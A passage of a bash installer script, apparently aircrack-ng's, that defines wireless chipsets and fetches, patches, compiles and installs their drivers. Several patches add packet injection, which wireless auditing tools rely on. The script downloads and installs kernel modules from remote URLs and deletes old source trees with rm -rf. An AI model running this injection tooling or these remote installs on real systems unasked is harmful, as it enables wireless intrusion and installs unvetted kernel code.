ieee80211_crypt-rtl ieee80211_crypt_wep-rtl ieee80211_crypt_tkip-rtl ieee80211_crypt_ccmp-rtl" DI_INIT[$i]="" DI_DRIVERGET[$i]="wget" DI_DRIVERFILE[$i]="rtl8187_linux_26.1010.zip" DI_DRIVERPATH1[$i]="http://dl.aircrack-ng.org/drivers/rtl8187_linux_26.1010.zip" DI_DRIVERPATH2[$i]="" DI_DRIVEREXDIR[$i]="" DI_DRIVERDIR[$i]="rtl8187_linux_26.1010.0622.2006" DI_PREPATCH[$i]="rtl8187_prepatch $i" DI_PATCHFILE[$i]="rtl8187_2.6.27.patch" DI_PATCHPATH1[$i]="http://patches.aircrack-ng.org/rtl8187_2.6.27.patch" DI_PATCHPATH2[$i]="" DI_PATCHARG[$i]="-p1" DI_PRECOMP[$i]="" DI_COMPILE[$i]="$MAKE" DI_INSTALL1[$i]="$MAKE install" DI_INSTALL2[$i]="" DF_FIRMFILES[$i]="" DF_FIRMFILE[$i]="" DF_FIRMPATH1[$i]="" DF_FIRMPATH2[$i]="" DF_FIRMDIR[$i]="" DF_INSTALLDIR[$i]="" DSITE[$i]="http://www.aircrack-ng.org/doku.php?id=r8187" DETECT_USB[$i]="RTL8187" DETECT_PCI[$i]="" DETECT_CS[$i]="" i=$(($i+1)) DNAME[$i]="Realtek rtl8187" DSTACK[$i]="2" DMODINFO[$i]="" DMODULE[$i]="rtl8187" DCONFIG[$i]="" DCONFIGS[$i]="" DMODULES[$i]="rtl8187" DI_INIT[$i]="" DI_DRIVERGET[$i]="" DI_DRIVERFILE[$i]="" DI_DRIVERPATH1[$i]="" DI_DRIVERPATH2[$i]="" DI_DRIVEREXDIR[$i]="" DI_DRIVERDIR[$i]="" DI_PREPATCH[$i]="" DI_PATCHFILE[$i]="" DI_PATCHPATH1[$i]="" DI_PATCHPATH2[$i]="" DI_PATCHARG[$i]="" DI_PRECOMP[$i]="" DI_COMPILE[$i]="" DI_INSTALL1[$i]="" DI_INSTALL2[$i]="" DF_FIRMFILES[$i]="" DF_FIRMFILE[$i]="" DF_FIRMPATH1[$i]="" DF_FIRMPATH2[$i]="" DF_FIRMDIR[$i]="" DF_INSTALLDIR[$i]="" DSITE[$i]="" DETECT_USB[$i]="RTL8187" DETECT_PCI[$i]="" DETECT_CS[$i]="" i=$(($i+1)) DNAME[$i]="WLAN-NG" DSTACK[$i]="0" DMODINFO[$i]="" DMODULE[$i]="prism2_pci" DCONFIG[$i]="" DCONFIGS[$i]="" DMODULES[$i]="prism2_pci prism2_usb prism2_plx prism2_cs p80211" DI_INIT[$i]="" DI_DRIVERGET[$i]="wget" DI_DRIVERFILE[$i]="linux-wlan-ng-0.2.8.tar.bz2" DI_DRIVERPATH1[$i]="ftp://ftp.linux-wlan.org/pub/linux-wlan-ng/linux-wlan-ng-0.2.8.tar.bz2" DI_DRIVERPATH2[$i]="" DI_DRIVEREXDIR[$i]="" DI_DRIVERDIR[$i]="linux-wlan-ng-0.2.8" DI_PREPATCH[$i]="" DI_PATCHFILE[$i]="linux-wlan-ng-0.2.8.patch" DI_PATCHPATH1[$i]="http://patches.aircrack-ng.org/linux-wlan-ng-0.2.8.patch" DI_PATCHPATH2[$i]="http://patches.aircrack-ng.org/old/linux-wlan-ng-0.2.8.patch" DI_PATCHARG[$i]="-p1" DI_PRECOMP[$i]="" DI_COMPILE[$i]="$MAKE auto_config" DI_INSTALL1[$i]="$MAKE install" DI_INSTALL2[$i]="" DF_FIRMFILES[$i]="" DF_FIRMFILE[$i]="" DF_FIRMPATH1[$i]="" DF_FIRMPATH2[$i]="" DF_FIRMDIR[$i]="" DF_INSTALLDIR[$i]="" DSITE[$i]="http://www.aircrack-ng.org/doku.php?id=wlan-ng" DETECT_USB[$i]="" DETECT_PCI[$i]="" DETECT_CS[$i]="" i=$(($i+1)) DNAME[$i]="Xircom Creditcard Netwave" DSTACK[$i]="0" DMODINFO[$i]="" DMODULE[$i]="netwave_cs" DCONFIG[$i]="CONFIG_PCMCIA_NETWAVE=" DCONFIGS[$i]="CONFIG_PCMCIA_NETWAVE=m" DMODULES[$i]="netwave_cs" DI_INIT[$i]="" DI_DRIVERGET[$i]="" DI_DRIVERFILE[$i]="" DI_DRIVERPATH1[$i]="" DI_DRIVERPATH2[$i]="" DI_DRIVEREXDIR[$i]="" DI_DRIVERDIR[$i]="" DI_PREPATCH[$i]="" DI_PATCHFILE[$i]="" DI_PATCHPATH1[$i]="" DI_PATCHPATH2[$i]="" DI_PATCHARG[$i]="" DI_PRECOMP[$i]="" DI_COMPILE[$i]="" DI_INSTALL1[$i]="" DI_INSTALL2[$i]="" DF_FIRMFILES[$i]="" DF_FIRMFILE[$i]="" DF_FIRMPATH1[$i]="" DF_FIRMPATH2[$i]="" DF_FIRMDIR[$i]="" DF_INSTALLDIR[$i]="" DSITE[$i]="" DETECT_USB[$i]="" DETECT_PCI[$i]="" DETECT_CS[$i]="" i=$(($i+1)) DNAME[$i]="ZyDAS 1201" DSTACK[$i]="1" DMODINFO[$i]="" DMODULE[$i]="zd1201" DCONFIG[$i]="CONFIG_USB_ZD1201=" DCONFIGS[$i]="CONFIG_USB_ZD1201=m" DMODULES[$i]="zd1201" DI_INIT[$i]="" DI_DRIVERGET[$i]="" DI_DRIVERFILE[$i]="" DI_DRIVERPATH1[$i]="" DI_DRIVERPATH2[$i]="" DI_DRIVEREXDIR[$i]="" DI_DRIVERDIR[$i]="" DI_PREPATCH[$i]="" DI_PATCHFILE[$i]="" DI_PATCHPATH1[$i]="" DI_PATCHPATH2[$i]="" DI_PATCHARG[$i]="" DI_PRECOMP[$i]="" DI_COMPILE[$i]="" DI_INSTALL1[$i]="" DI_INSTALL2[$i]="" DF_FIRMFILES[$i]="zd1201.fw zd1201-ap.fw" DF_FIRMFILE[$i]="zd1201-0.14-fw.tar.gz" DF_FIRMPATH1[$i]="http://downloads.sourceforge.net/linux-lc100020/zd1201-0.14-fw.tar.gz" DF_FIRMPATH2[$i]="http://downloads.sourceforge.net/linux-lc100020/zd1201-0.14-fw.tar.gz" DF_FIRMDIR[$i]="zd1201-0.14-fw" DF_INSTALLDIR[$i]="" DSITE[$i]="" DETECT_USB[$i]="" DETECT_PCI[$i]="" DETECT_CS[$i]="" i=$(($i+1)) DNAME[$i]="ZyDAS 1211" DSTACK[$i]="1" DMODINFO[$i]="" DMODULE[$i]="zd1211" DCONFIG[$i]="" DCONFIGS[$i]="" DMODULES[$i]="zd1211" DI_INIT[$i]="" DI_DRIVERGET[$i]="" DI_DRIVERFILE[$i]="" DI_DRIVERPATH1[$i]="" DI_DRIVERPATH2[$i]="" DI_DRIVEREXDIR[$i]="" DI_DRIVERDIR[$i]="" DI_PREPATCH[$i]="" DI_PATCHFILE[$i]="" DI_PATCHPATH1[$i]="" DI_PATCHPATH2[$i]="" DI_PATCHARG[$i]="" DI_PRECOMP[$i]="" DI_COMPILE[$i]="" DI_INSTALL1[$i]="" DI_INSTALL2[$i]="" DF_FIRMFILES[$i]="zd1211b_ub zd1211b_uphm zd1211b_ur zd1211_uph zd1211_uphr zd1211b_uph zd1211b_uphr zd1211_ub zd1211_uphm zd1211_ur" DF_FIRMFILE[$i]="zd1211-firmware-1.4.tar.bz2" DF_FIRMPATH1[$i]="http://downloads.sourceforge.net/zd1211/zd1211-firmware-1.4.tar.bz2" DF_FIRMPATH2[$i]="http://downloads.sourceforge.net/zd1211/zd1211-firmware-1.4.tar.bz2" DF_FIRMDIR[$i]="zd1211-firmware" DF_INSTALLDIR[$i]="zd1211" DSITE[$i]="" DETECT_USB[$i]="" DETECT_PCI[$i]="" DETECT_CS[$i]="" i=$(($i+1)) DNAME[$i]="ZyDAS 1211rw" DSTACK[$i]="1" DMODINFO[$i]="" DMODULE[$i]="zd1211rw" DCONFIG[$i]="CONFIG_ZD1211RW=" DCONFIGS[$i]="CONFIG_ZD1211RW=m" DMODULES[$i]="zd1211rw" DI_INIT[$i]="install_zd1211rw $i" DI_DRIVERGET[$i]="wget" DI_DRIVERFILE[$i]="linux-$VANILLA.tar.bz2" DI_DRIVERPATH1[$i]="ftp://ftp.kernel.org/pub/linux/kernel/v2.6/linux-$VANILLA.tar.bz2" DI_DRIVERPATH2[$i]="ftp://ftp.de.kernel.org/pub/linux/kernel/v2.6/linux-$VANILLA.tar.bz2" DI_DRIVEREXDIR[$i]="linux-$VANILLA/drivers/net/wireless/zd1211rw" DI_DRIVERDIR[$i]="zd1211rw" DI_PREPATCH[$i]="" DI_PATCHFILE[$i]="zd1211rw_inject_2.6.23.patch" DI_PATCHPATH1[$i]="http://patches.aircrack-ng.org/zd1211rw_inject_2.6.23.patch" DI_PATCHPATH2[$i]="http://patches.aircrack-ng.org/old/zd1211rw_inject_2.6.23.patch" DI_PATCHARG[$i]="-p5" DI_PRECOMP[$i]="" DI_COMPILE[$i]="$MAKE -C $KSRC/ M=$D_DIR/${DI_DRIVERDIR[$i]} modules" DI_INSTALL1[$i]="mkdir -p "$KMOD/kernel/drivers/net/wireless/zd1211rw/"" DI_INSTALL2[$i]="cp -f zd1211rw.ko $KMOD/kernel/drivers/net/wireless/zd1211rw/" DF_FIRMFILES[$i]="zd1211b_ub zd1211b_uphm zd1211b_ur zd1211_uph zd1211_uphr zd1211b_uph zd1211b_uphr zd1211_ub zd1211_uphm zd1211_ur" DF_FIRMFILE[$i]="zd1211-firmware-1.4.tar.bz2" DF_FIRMPATH1[$i]="http://downloads.sourceforge.net/zd1211/zd1211-firmware-1.4.tar.bz2" DF_FIRMPATH2[$i]="http://downloads.sourceforge.net/zd1211/zd1211-firmware-1.4.tar.bz2" DF_FIRMDIR[$i]="zd1211-firmware" DF_INSTALLDIR[$i]="zd1211" DSITE[$i]="http://www.aircrack-ng.org/doku.php?id=zd1211rw" DETECT_USB[$i]="" DETECT_PCI[$i]="" DETECT_CS[$i]="" i=$(($i+1)) DNAME[$i]="ZyDAS 1211rw" DSTACK[$i]="2" DMODINFO[$i]="" DMODULE[$i]="zd1211rw_mac80211" DCONFIG[$i]="CONFIG_ZD1211RW_MAC80211=" DCONFIGS[$i]="CONFIG_ZD1211RW_MAC80211=m" DMODULES[$i]="zd1211rw_mac80211" DI_INIT[$i]="" DI_DRIVERGET[$i]="" DI_DRIVERFILE[$i]="" DI_DRIVERPATH1[$i]="" DI_DRIVERPATH2[$i]="" DI_DRIVEREXDIR[$i]="" DI_DRIVERDIR[$i]="" DI_PREPATCH[$i]="" DI_PATCHFILE[$i]="" DI_PATCHPATH1[$i]="" DI_PATCHPATH2[$i]="" DI_PATCHARG[$i]="" DI_PRECOMP[$i]="" DI_COMPILE[$i]="" DI_INSTALL1[$i]="" DI_INSTALL2[$i]="" DF_FIRMFILES[$i]="" DF_FIRMFILE[$i]="" DF_FIRMPATH1[$i]="" DF_FIRMPATH2[$i]="" DF_FIRMDIR[$i]="" DF_INSTALLDIR[$i]="" DSITE[$i]="http://www.aircrack-ng.org/doku.php?id=zd1211rw" DETECT_USB[$i]="" DETECT_PCI[$i]="" DETECT_CS[$i]="" i=$(($i+1)) DNAME[$i]="NDIS Wrapper" DSTACK[$i]="" DMODINFO[$i]="" DMODULE[$i]="ndiswrapper" DCONFIG[$i]="" DCONFIGS[$i]="" DMODULES[$i]="ndiswrapper" DI_INIT[$i]="" DI_DRIVERGET[$i]="wget" DI_DRIVERFILE[$i]="ndiswrapper-1.49.tar.gz" DI_DRIVERPATH1[$i]="http://heanet.dl.sourceforge.net/sourceforge/ndiswrapper/ndiswrapper-1.49.tar.gz" DI_DRIVERPATH2[$i]="http://internap.dl.sourceforge.net/sourceforge/ndiswrapper/ndiswrapper-1.49.tar.gz" DI_DRIVEREXDIR[$i]="" DI_DRIVERDIR[$i]="ndiswrapper-1.49" DI_PREPATCH[$i]="" DI_PATCHFILE[$i]="" DI_PATCHPATH1[$i]="" DI_PATCHPATH2[$i]="" DI_PATCHARG[$i]="" DI_PRECOMP[$i]="" DI_COMPILE[$i]="make" DI_INSTALL1[$i]="make install" DI_INSTALL2[$i]="" DF_FIRMFILES[$i]="" DF_FIRMFILE[$i]="" DF_FIRMPATH1[$i]="" DF_FIRMPATH2[$i]="" DF_FIRMDIR[$i]="" DF_INSTALLDIR[$i]="" DSITE[$i]="http://ndiswrapper.sourceforge.net" DETECT_USB[$i]="" DETECT_PCI[$i]="" DETECT_CS[$i]="" #END drivers DCOUNT=$(($i+1)) #init install scripts install_hostap() { if [ $KMINOR -eq 6 -a $KPATCH -lt 16 ] then #use external driver 0.4.7 DI_DRIVERFILE[$1]="hostap-driver-0.4.9.tar.gz" DI_DRIVERPATH1[$1]="http://hostap.epitest.fi/releases/hostap-driver-0.4.9.tar.gz" DI_DRIVERPATH2[$1]="" DI_DRIVEREXDIR[$1]="" DI_DRIVERDIR[$1]="hostap-driver-0.4.9" DI_PATCHFILE[$1]="hostap-driver-0.4.9.patch" DI_PATCHPATH1[$1]="http://patches.aircrack-ng.org/hostap-driver-0.4.9.patch" DI_PATCHPATH2[$1]="http://patches.aircrack-ng.org/old/hostap-driver-0.4.9.patch" DI_PATCHARG[$1]="-p1" DI_COMPILE[$1]="$MAKE" DI_INSTALL1[$1]="$MAKE install" fi if [ $KMINOR -eq 6 -a $KPATCH -gt 18 ] then DI_PATCHFILE[$1]="hostap-kernel-2.6.18.patch" DI_PATCHPATH1[$1]="http://patches.aircrack-ng.org/hostap-kernel-2.6.18.patch" DI_PATCHPATH2[$1]="http://patches.aircrack-ng.org/old/hostap-kernel-2.6.18.patch" fi } install_hermes() { if [ $KMINOR -eq 4 ] then DI_DRIVERFILE[$1]="orinoco-0.13e-SN-3.tar.bz2" DI_DRIVERPATH1[$1]="http://www.projectiwear.org/~plasmahh/orinoco-0.13e-SN-3.tar.bz2" DI_DRIVERPATH2[$1]="" DI_DRIVERDIR[$1]="orinoco-0.13e-SN-3" fi if [ $KMINOR -eq 6 -a $KPATCH -le 7 ] then DI_DRIVERFILE[$1]="orinoco-0.13e-SN-5.tar.bz2" DI_DRIVERPATH1[$1]="http://www.projectiwear.org/~plasmahh/orinoco-0.13e-SN-5.tar.bz2" DI_DRIVERPATH2[$1]="" DI_DRIVERDIR[$1]="orinoco-0.13e-SN-5" fi if [ $KMINOR -eq 6 -a $KPATCH -ge 8 -a $KPATCH -le 10 ] then DI_DRIVERFILE[$1]="orinoco-0.13e-SN-7.tar.bz2" DI_DRIVERPATH1[$1]="http://www.projectiwear.org/~plasmahh/orinoco-0.13e-SN-7.tar.bz2" DI_DRIVERPATH2[$1]="" DI_DRIVERDIR[$1]="orinoco-0.13e-SN-7" fi if [ $KMINOR -eq 6 -a $KPATCH -ge 11 -a $KPATCH -le 12 ] then DI_DRIVERFILE[$1]="orinoco-0.13e-SN-8.tar.bz2" DI_DRIVERPATH1[$1]="http://www.projectiwear.org/~plasmahh/orinoco-0.13e-SN-8.tar.bz2" DI_DRIVERPATH2[$1]="" DI_DRIVERDIR[$1]="orinoco-0.13e-SN-8" fi if [ $KMINOR -eq 6 -a $KPATCH -ge 13 -a $KPATCH -le 14 ] then DI_DRIVERFILE[$1]="orinoco-0.13e-SN-9.tar.bz2" DI_DRIVERPATH1[$1]="http://www.projectiwear.org/~plasmahh/orinoco-0.13e-SN-9.tar.bz2" DI_DRIVERPATH2[$1]="" DI_DRIVERDIR[$1]="orinoco-0.13e-SN-9" fi if [ $KMINOR -eq 6 -a $KPATCH -ge 18 -a $KPATCH -le 19 ] then DI_DRIVERFILE[$1]="orinoco-0.13e-SN-15.tar.bz2" DI_DRIVERPATH1[$1]="http://www.projectiwear.org/~plasmahh/orinoco-0.13e-SN-15.tar.bz2" DI_DRIVERPATH2[$1]="" DI_DRIVERDIR[$1]="orinoco-0.13e-SN-15" fi if [ $KMINOR -eq 6 -a $KPATCH -ge 20 -a $KPATCH -le 25 ] then DI_DRIVERFILE[$1]="orinoco-0.13e-SN-16.tar.bz2" DI_DRIVERPATH1[$1]="http://www.projectiwear.org/~plasmahh/orinoco-0.13e-SN-16.tar.bz2" DI_DRIVERPATH2[$1]="" DI_DRIVERDIR[$1]="orinoco-0.13e-SN-16" fi } install_ipw2200() { if [ $KMINOR -eq 6 -a $KPATCH -lt 15 ] then DI_DRIVERFILE[$1]="ipw2200-1.1.4.tgz" DI_DRIVERPATH1[$1]="http://prdownloads.sourceforge.net/ipw2200/ipw2200-1.1.4.tgz?download" DI_DRIVERPATH2[$1]="http://prdownloads.sourceforge.net/ipw2200/ipw2200-1.1.4.tgz?download" DI_DRIVEREXDIR[$1]="" DI_DRIVERDIR[$1]="ipw2200-1.1.4" DI_PRECOMP[$1]="" DI_COMPILE[$1]="$MAKE -C $KSRC/ M=$D_DIR/${DI_DRIVERDIR[2]} modules" DI_INSTALL1[$1]="mkdir -p "$KMOD/kernel/drivers/net/wireless/ipw2200/"" DI_INSTALL2[$1]="cp -f ipw2200.ko $KMOD/kernel/drivers/net/wireless/ipw2200/" fi } install_zd1211rw() { if [ $KMINOR -eq 6 -a $KPATCH -lt 18 ] then DI_DRIVERFILE[$1]="linux-2.6.18.tar.bz2" DI_DRIVERPATH1[$1]="ftp://ftp.kernel.org/pub/linux/kernel/v2.6/linux-2.6.18.tar.bz2" DI_DRIVERPATH2[$1]="ftp://ftp.de.kernel.org/pub/linux/kernel/v2.6/linux-2.6.18.tar.bz2" DI_DRIVEREXDIR[$1]="linux-2.6.18/drivers/net/wireless/zd1211rw" fi if [ $KMINOR -eq 6 -a $KPATCH -eq 20 ] then DI_PATCHFILE[$1]="zd1211rw_inject_2.6.20.patch" DI_PATCHPATH1[$1]="http://patches.aircrack-ng.org/zd1211rw_inject_2.6.20.patch" DI_PATCHPATH2[$1]="http://patches.aircrack-ng.org/old/zd1211rw_inject_2.6.20.patch" fi if [ $KMINOR -eq 6 -a $KPATCH -eq 21 ] then DI_PATCHFILE[$1]="zd1211rw_inject_2.6.21-gentoo.patch" DI_PATCHPATH1[$1]="http://patches.aircrack-ng.org/zd1211rw_inject_2.6.21-gentoo.patch" DI_PATCHPATH2[$1]="http://patches.aircrack-ng.org/old/zd1211rw_inject_2.6.21-gentoo.patch" fi if [ $KMINOR -eq 6 -a $KPATCH -ge 22 ] then DI_PATCHFILE[$1]="zd1211rw_inject_2.6.22.patch" DI_PATCHPATH1[$1]="http://patches.aircrack-ng.org/zd1211rw_inject_2.6.22.patch" DI_PATCHPATH2[$1]="http://patches.aircrack-ng.org/old/zd1211rw_inject_2.6.22.patch" fi } madwifi_install() { echo i | $MAKE install } ipw2100_precomp() { echo 'obj-$(CONFIG_IPW2100) += ipw2100.o' > Makefile } ipw2200_precomp() { echo 'obj-$(CONFIG_IPW2200) += ipw2200.o' > Makefile } rtl8187_prepatch() { $TAR xzf stack.tar.gz $TAR xzf drv.tar.gz } install_ieee80211() { #use old patch for kernel < 2.6.22 if [ $KMINOR -eq 6 -a $KPATCH -lt 22 ] then SI_PATCHFILE[$1]="ieee80211_inject.patch" SI_PATCHPATH1[$1]="http://patches.aircrack-ng.org/ieee80211_inject.patch" SI_PATCHPATH2[$1]="http://patches.aircrack-ng.org/old/ieee80211_inject.patch" fi if [ $2 -eq 1 ] then #check if kernel source is in /usr/src/linux instead missing=0 #check for default files README COPYING CREDITS (i hope every kernel source includes them all) if [ ! -f "/usr/src/linux/README" -o ! -f "/usr/src/linux/COPYING" -o ! -f "/usr/src/linux/CREDITS" ] then missing=1 # echo "Kernel source missing!" # return $ERROR fi #2nd check (in case README COPYING and CREDITS is included in kernel headers) #searches for .c files in "net" subdir if [ $missing = 0 -a x"`find "/usr/src/linux/net/" -name "*\.c" | head -n 1`" = x ] then missing=1 # echo "Kernel source missing!" # return $ERROR fi if [ $missing = 0 ] then SI_DRIVERPATH1[$1]=$SI_DRIVERPATH2[$1] else echo echo "Your kernel source is neither in \"$KSRC\" nor in \"/usr/src/linux\"." echo "Trying with vanilla source. (May fail on heavily patched distributions.)" echo "If it fails install your proper kernel source and rerun this script." echo sleep 3 SI_DRIVERGET[$1]="wget" SI_DRIVERFILE[$1]="linux-$VANILLA.tar.bz2" SI_DRIVERPATH1[$1]="ftp://ftp.kernel.org/pub/linux/kernel/v2.6/linux-$VANILLA.tar.bz2" SI_DRIVERPATH2[$1]="ftp://ftp.de.kernel.org/pub/linux/kernel/v2.6/linux-$VANILLA.tar.bz2" SI_DRIVEREXDIR[$1]="linux-$VANILLA/net/ieee80211" SI_DRIVERDIR[$1]="ieee80211" fi fi } install_softmac() { #use no patch for kernel < 2.6.19 if [ $KMINOR -eq 6 -a $KPATCH -lt 19 ] then SI_PATCHFILE[$1]="" SI_PATCHPATH1[$1]="" SI_PATCHPATH2[$1]="" SI_PATCHARG[$1]="" fi if [ $2 -eq 1 ] then #check if kernel source is in /usr/src/linux instead missing=0 #check for default files README COPYING CREDITS (i hope every kernel source includes them all) if [ ! -f "/usr/src/linux/README" -o ! -f "/usr/src/linux/COPYING" -o ! -f "/usr/src/linux/CREDITS" ] then missing=1 # echo "Kernel source missing!" # return $ERROR fi #2nd check (in case README COPYING and CREDITS is included in kernel headers) #searches for .c files in "net" subdir if [ $missing = 0 -a x"`find "/usr/src/linux/net/" -name "*\.c" | head -n 1`" = x ] then missing=1 # echo "Kernel source missing!" # return $ERROR fi if [ $missing = 0 ] then SI_DRIVERPATH1[$1]=$SI_DRIVERPATH2[$1] else echo echo "Your kernel source is neither in \"$KSRC\" nor in \"/usr/src/linux\"." echo "Trying with vanilla source. (May fail on heavily patched distributions.)" echo "If it fails install your proper kernel source and rerun this script." echo sleep 3 SI_DRIVERGET[$1]="wget" SI_DRIVERFILE[$1]="linux-$VANILLA.tar.bz2" SI_DRIVERPATH1[$1]="ftp://ftp.kernel.org/pub/linux/kernel/v2.6/linux-$VANILLA.tar.bz2" SI_DRIVERPATH2[$1]="ftp://ftp.de.kernel.org/pub/linux/kernel/v2.6/linux-$VANILLA.tar.bz2" SI_DRIVEREXDIR[$1]="linux-$VANILLA/net/ieee80211/softmac" SI_DRIVERDIR[$1]="softmac" fi fi } #end #install script doing the dirty work #you're already in the correct dir #old modules are unloaded # 5 steps: get the source, get the patch, patch, compile, install install_action() { #write some info into log file echo "`date`" >> "$LOGFILE" 2>&1 echo "Installing \"${DNAME[$1]}\" on $KVER." >> "$LOGFILE" 2>&1 #0 - check if all needed variables are set if [ x"${DI_DRIVERFILE[$1]}" == x -a x"${DI_DRIVERGET[$1]}" == "wget" ] then echo "DI_DRIVERFILE[$1] isn't set!" return $ERROR fi if [ x"${DI_DRIVERPATH1[$1]}" == x ] then echo "DI_DRIVERPATH1[$1] isn't set, you need at least one driver source!" return $ERROR fi if [ x"${DI_DRIVERDIR[$1]}" == x ] then echo "DI_DRIVERDIR[$1] isn't set!" return $ERROR fi if [ x"${DI_COMPILE[$1]}" == x ] then echo "DI_COMPILE[$1] isn't set!" return $ERROR fi if [ x"${DI_INSTALL1[$1]}" == x ] then echo "DI_INSTALL1[$1] isn't set!" return $ERROR fi if [ x"${DI_DRIVERGET[$1]}" == x ] then echo "DI_DRIVERGET[$1] isn't set!" return $ERROR fi if [ "${DI_DRIVERGET[$1]}" == "wget" -a x"$WGET" == x ] then echo "You need to install \"wget\" prior to installing ${DNAME[$1]}" fi if [ "${DI_DRIVERGET[$1]}" == "svn" -a x"$SVN" == x ] then echo "You need to install \"subversion\" prior to installing ${DNAME[$1]}" fi if [ "${DI_DRIVERGET[$1]}" == "cvs" -a x"$CVS" == x ] then echo "You need to install \"cvs\" prior to installing ${DNAME[$1]}" fi if [ "${DI_DRIVERGET[$1]}" == "git" -a x"$GIT" == x ] then echo "You need to install \"git\" prior to installing ${DNAME[$1]}" fi #1 - get then correct source printf "1. Getting the source..." #get it with wget if [ "${DI_DRIVERGET[$1]}" == "wget" ] then #is compressed source available? no - wget it if [ ! -f "${DI_DRIVERFILE[$1]}" ] then $WGET --progress=dot:mega -O "${DI_DRIVERFILE[$1]}" "${DI_DRIVERPATH1[$1]}" >> "$LOGFILE" 2>&1 if [ "$?" != "0" ] then rm "${DI_DRIVERFILE[$1]}" 2>/dev/null fi fi #is compressed source available? no - wget it from mirror if [ ! -f "${DI_DRIVERFILE[$1]}" -a x"${DI_DRIVERPATH2[$1]}" != x ] then $WGET --progress=dot:mega -O "${DI_DRIVERFILE[$1]}" "${DI_DRIVERPATH2[$1]}" >> "$LOGFILE" 2>&1 if [ "$?" != "0" ] then rm "${DI_DRIVERFILE[$1]}" 2>/dev/null fi fi #is compressed source available? no - try to locate it if [ ! -f "${DI_DRIVERFILE[$1]}" ] then cp "`locate "${DI_DRIVERFILE[$1]}" | grep "${DI_DRIVERFILE[$1]}$" | head -n 1`" ./ >> "$LOGFILE" 2>&1 if [ "$?" != "0" ] then rm "${DI_DRIVERFILE[$1]}" 2>/dev/null fi fi #is compressed source available? no - abort install if [ ! -f "${DI_DRIVERFILE[$1]}" ] then echo "Couldn't find the correct driver file: ${DI_DRIVERFILE[$1]}" echo "The specified source seems to be down:" echo "${DI_DRIVERPATH1[$1]}" if [ x"${DI_DRIVERPATH2[$1]}" != x ] then echo "${DI_DRIVERPATH2[$1]}" fi echo "Get the file by hand, put it in \"$D_DIR/\"" echo "and restart this installation." return $NO else printf "OK\n"; fi printf "2. Extracting the source..." if [ -d "${DI_DRIVERDIR[$1]}" ] then #be carefull!! (deleting old source) rm -rf "${DI_DRIVERDIR[$1]}" >> "$LOGFILE" 2>&1 fi if [ x"${DI_DRIVEREXDIR[$1]}" != x ] then #is tar gzip? if [ x"`echo "${DI_DRIVERFILE[$1]}" | grep ".tar.gz$"`" != x -o x"`echo "${DI_DRIVERFILE[$1]}" | grep ".tgz$"`" != x ] then $TAR xzf "${DI_DRIVERFILE[$1]}" "${DI_DRIVEREXDIR[$1]}" >> "$LOGFILE" 2>&1 fi #is tar bzip2? if [ x"`echo "${DI_DRIVERFILE[$1]}" | grep ".tar.bz2$"`" != x ] then $TAR xjf "${DI_DRIVERFILE[$1]}" "${DI_DRIVEREXDIR[$1]}" >> "$LOGFILE" 2>&1 fi else #is tar gzip? if [ x"`echo "${DI_DRIVERFILE[$1]}" | grep ".tar.gz$"`" != x -o x"`echo "${DI_DRIVERFILE[$1]}" | grep ".tgz$"`" != x ] then $TAR xzf "${DI_DRIVERFILE[$1]}" >> "$LOGFILE" 2>&1 fi #is tar bzip2? if [ x"`echo "${DI_DRIVERFILE[$1]}" | grep ".tar.bz2$"`" != x ] then $TAR xjf "${DI_DRIVERFILE[$1]}" >> "$LOGFILE" 2>&1 fi fi #is zip? if [ x"`echo "${DI_DRIVERFILE[$1]}" | grep ".zip$"`" != x ] then $UNZIP "${DI_DRIVERFILE[$1]}" >> "$LOGFILE" 2>&1 fi #error? abort... if [ $? != "0" ] then echo "Unable to \"extract ${DI_DRIVERFILE[$1]}\"" return $NO else printf "OK\n"; fi fi #use svn if [ "${DI_DRIVERGET[$1]}" == "svn" ] then if [ -d "${DI_DRIVERDIR[$1]}" ] then #be carefull!! (deleting old source) rm -rf "${DI_DRIVERDIR[$1]}" >> "$LOGFILE" 2>&1 fi #if dir is missing (it should be) - check it out if [ ! -d "${DI_DRIVERDIR[$1]}" ] then $SVN co "${DI_DRIVERPATH1[$1]}" "${DI_DRIVERDIR[$1]}" >> "$LOGFILE" 2>&1 fi #still missing? - use mirror/second source in case there is one if [ ! -d "${DI_DRIVERDIR[$1]}" -a x"${DI_DRIVERPATH2[$1]}" != x ] then $SVN co "${DI_DRIVERPATH2[$1]}" "${DI_DRIVERDIR[$1]}" >> "$LOGFILE" 2>&1 fi printf "OK\n"; echo "2. No extraction needed." fi #use cvs if [ "${DI_DRIVERGET[$1]}" == "cvs" ] then if [ -d "${DI_DRIVERDIR[$1]}" ] then #be carefull!! (deleting old source) rm -rf "${DI_DRIVERDIR[$1]}" >> "$LOGFILE" 2>&1 fi #if dir is missing (it should be) - check it out if [ ! -d "${DI_DRIVERDIR[$1]}" ] then $CVS -z3 "${DI_DRIVERPATH1[$1]}" co -P "${DI_DRIVERPATH2[$1]}" >> "$LOGFILE" 2>&1 fi printf "OK\n"; echo "2. No extraction needed." fi #use git if [ "${DI_DRIVERGET[$1]}" == "git" ] then if [ -d "${DI_DRIVERDIR[$1]}" ] then #be carefull!! (deleting old source) rm -rf "${DI_DRIVERDIR[$1]}" >> "$LOGFILE" 2>&1 fi #if dir is missing (it should be) - check it out if [ ! -d "${DI_DRIVERDIR[$1]}" ] then $GIT clone "${DI_DRIVERPATH1[$1]}" >> "$LOGFILE" 2>&1 fi #still missing? - use mirror/second source in case there is one if [ ! -d "${DI_DRIVERDIR[$1]}" -a x"${DI_DRIVERPATH2[$1]}" != x ] then $GIT clone "${DI_DRIVERPATH2[$1]}" >> "$LOGFILE" 2>&1 fi printf "OK\n"; echo "2. No extraction needed." fi #use cp if [ "${DI_DRIVERGET[$1]}" == "cp" ] then if [ -d "${DI_DRIVERDIR[$1]}" ] then #be carefull!! (deleting old source) rm -rf "${DI_DRIVERDIR[$1]}" >> "$LOGFILE" 2>&1 fi #if dir is missing (it should be) - check it out if [ ! -d "${DI_DRIVERDIR[$1]}" -a -d "${DI_DRIVERPATH1[$1]}" ] then cp -rf "${DI_DRIVERPATH1[$1]}" ./ >> "$LOGFILE" 2>&1 fi #still missing? - use mirror/second source in case there is one if [ ! -d "${DI_DRIVERDIR[$1]}" -a -d "${DI_DRIVERPATH2[$1]}" ] then cp -rf "${DI_DRIVERPATH2[$1]}" ./ >> "$LOGFILE" 2>&1 fi printf "OK\n"; echo "2. No extraction needed." fi #extracted dir differs from expected one? rename it if [ x"${DI_DRIVEREXDIR[$1]}" != x -a x"${DI_DRIVEREXDIR[$1]}" != x"${DI_DRIVERDIR[$1]}" ] then mv "${DI_DRIVEREXDIR[$1]}" 